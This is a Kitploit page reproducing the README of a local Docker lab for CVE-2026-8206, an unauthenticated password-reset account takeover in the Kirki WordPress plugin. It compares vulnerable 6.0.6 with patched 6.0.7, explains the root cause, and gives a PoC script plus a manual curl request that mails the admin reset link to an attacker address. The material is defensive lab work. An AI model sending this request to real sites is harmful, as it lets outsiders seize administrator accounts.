Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-8206-Lab — Local Docker lab demonstrating CVE-2026-8206 unauthenticated account takeover in Kirki WordPress plugin. Compares vulnerable 6.0.6 vs patched 6.0.7 with PoC script and captured mail verification. | Kitploit
Tools/GitHubGitHub/rootdirective-sec/cve-2026-8206-lab
Vulnerability AnalysisExploitationWeb Application ExploitationCTFLearning & EducationLabs & Practice
GitHubrootdirective-sec/cve-2026-8206-lab

CVE-2026-8206-Lab

Local Docker lab demonstrating CVE-2026-8206 unauthenticated account takeover in Kirki WordPress plugin. Compares vulnerable 6.0.6 vs patched 6.0.7 with PoC script and captured mail verification.

View Repository
143 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-8206 - Kirki Account Takeover Lab

Local Docker lab for demonstrating CVE-2026-8206 in the Kirki WordPress plugin.

This repository compares the real Kirki plugin releases:

  • vuln: Kirki 6.0.6
  • patched: Kirki 6.0.7

The lab is local-only and binds WordPress services to 127.0.0.1. The PoC is least-harm: it requests a password reset and verifies the captured email recipient inside the lab. It does not change any password.


Summary

CVE-2026-8206 is an unauthenticated account takeover / privilege escalation vulnerability in Kirki versions 6.0.0 through 6.0.6.

The vulnerable password reset handler creates a reset key for a real WordPress user selected by username, but sends the reset email to an arbitrary email address supplied in the request.

In this lab:

root@kitploit:~
vulnerable => reset link for admin is sent to [email protected]
patched    => mismatched email is rejected and no reset email is sent to [email protected]

Affected Component

  • Product: Kirki – Freeform Page Builder, Website Builder & Customizer
  • Affected versions: 6.0.0 to 6.0.6
  • Fixed version: 6.0.7
  • Vulnerable endpoint used in this lab:
root@kitploit:~
/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password

Root Cause

The vulnerable handler is:

root@kitploit:~
wp-content/plugins/kirki/ComponentLibrary/controller/CompLibFormHandler.php

Vulnerable behavior in 6.0.6

Kirki reads the attacker-supplied email from the request body:

root@kitploit:~
$email = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] ) : '';

It then resolves the target WordPress user by username and creates a password reset key for that user:

root@kitploit:~
$key = get_password_reset_key( $user );

But the final reset email is sent to the request-supplied $email:

root@kitploit:~
$sent = wp_mail( $email, $email_subject, $email_body, $headers );

This breaks the trust boundary between the account identity and the reset-email recipient. An unauthenticated requester can provide:

root@kitploit:~
username=admin
[email protected]

The reset key belongs to admin, but the email is delivered to the attacker-controlled address.

Patched behavior in 6.0.7

Kirki 6.0.7 validates that the supplied email matches the resolved user's registered email, then forces the recipient to the account email before sending:

root@kitploit:~
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    // reject request
}

$email = $user_email;
$sent  = wp_mail( $email, $email_subject, $email_body, $headers );

Lab Design

ServicePurposeHost URL
vulnWordPress + Kirki 6.0.6http://127.0.0.1:8081
patchedWordPress + Kirki 6.0.7http://127.0.0.1:8082
db_vulnMySQL for vulnerable WordPressDocker network only
db_patchedMySQL for patched WordPressDocker network only
wpcli_vulnSeeds vulnerable WordPressone-shot setup
wpcli_patchedSeeds patched WordPressone-shot setup

Local mail is captured to files instead of being sent externally:

root@kitploit:~
artifacts/vuln-mail/
artifacts/patched-mail/

The lab uses real Kirki plugin versions installed with WP-CLI. The plugin source is not modified.


Repository Structure

root@kitploit:~
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── docker/
│   ├── capture-mail
│   └── mail-capture.ini
├── scripts/
│   └── setup-wordpress.sh
├── poc/
│   ├── poc_local.py
│   └── run_lab_poc.sh
├── docs/
│   └── notes.md
├── SAFETY.md
├── README.md
└── .gitignore

Requirements

  • Docker Desktop or Docker Engine
  • Docker Compose v2
  • Python 3
  • Python requests package

Install Python dependency if needed:

root@kitploit:~
python3 -m pip install requests

Run the Lab

Start the containers:

root@kitploit:~
docker compose up -d --build

Seed both WordPress instances:

root@kitploit:~
docker compose run --rm wpcli_vuln
docker compose run --rm wpcli_patched

Run the PoC:

root@kitploit:~
chmod +x poc/run_lab_poc.sh
./poc/run_lab_poc.sh

Expected Results

Vulnerable: Kirki 6.0.6

Expected result:

root@kitploit:~
[+] request: http=200 body='{"message":"Email sent"}'
[+] mail_state=MAIL_TO_ATTACKER_WITH_RESET_LINK: reset link sent to attacker-controlled email
[+] verdict=VULNERABLE_BEHAVIOR_CONFIRMED
    To: [email protected]
    Subject: CVE-2026-8206 local lab proof

This proves that the vulnerable version sent a password reset email for the target account to the attacker-controlled address.

Patched: Kirki 6.0.7

Expected result:

root@kitploit:~
[+] request: http=404 body='{"message":"Invalid email address"}'
[+] mail_file=none
[+] mail_state=NO_MAIL: no captured reset email
[+] verdict=PATCHED_BEHAVIOR_CONFIRMED_NO_RESET_MAIL_TO_ATTACKER

This proves that the patched version rejects the username/email mismatch and does not send the reset email to the attacker-controlled address.


Manual Verification

Create the correct Kirki element nonce inside the vulnerable lab:

root@kitploit:~
NONCE="$(docker compose run --rm --entrypoint wp wpcli_vuln eval 'echo wp_create_nonce(KIRKI_COMPONENT_LIBRARY_APP_PREFIX . "_kirki-forgot-password");' | tail -n 1)"

Send a local-only request to the vulnerable service:

root@kitploit:~
curl -i -s -X POST "http://127.0.0.1:8081/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password" \
  -H "X-WP-Element-Nonce: $NONCE" \
  -d "username=admin" \
  -d "[email protected]" \
  --data-urlencode "emailSubject=CVE-2026-8206 local lab proof" \
  --data-urlencode 'emailBody=[{"type":"text","value":"Local lab reset link: "},{"type":"chip","value":"reset_link"}]'

Check captured mail:

root@kitploit:~
grep -R "^To:\|action=rp\|login=admin" artifacts/vuln-mail/

Expected vulnerable evidence:

root@kitploit:~
To: [email protected]
... action=rp ... login=admin ...

Safety

This lab is intended for local security research and portfolio demonstration only.

Guardrails:

  • Binds services to 127.0.0.1 only.
  • Uses dummy local email addresses.
  • Captures mail locally instead of sending real email.
  • Does not change passwords.
  • Does not attempt exploitation against external systems.

Cleanup

root@kitploit:~
docker compose down -v --remove-orphans
rm -rf artifacts/vuln-mail artifacts/patched-mail

References

  • CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-8206
  • Wordfence advisory: https://www.wordfence.com/blog/2026/06/unauthenticated-privilege-escalation-vulnerability-patched-in-kirki-wordpress-plugin/
  • Wordfence vulnerability database: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kirki/kirki-600-606-unauthenticated-privilege-escalation-via-handle-forgot-password
  • WordPress plugin page / changelog: https://wordpress.org/plugins/kirki/
  • OpenCVE entry: https://app.opencve.io/cve/CVE-2026-8206
Download Tool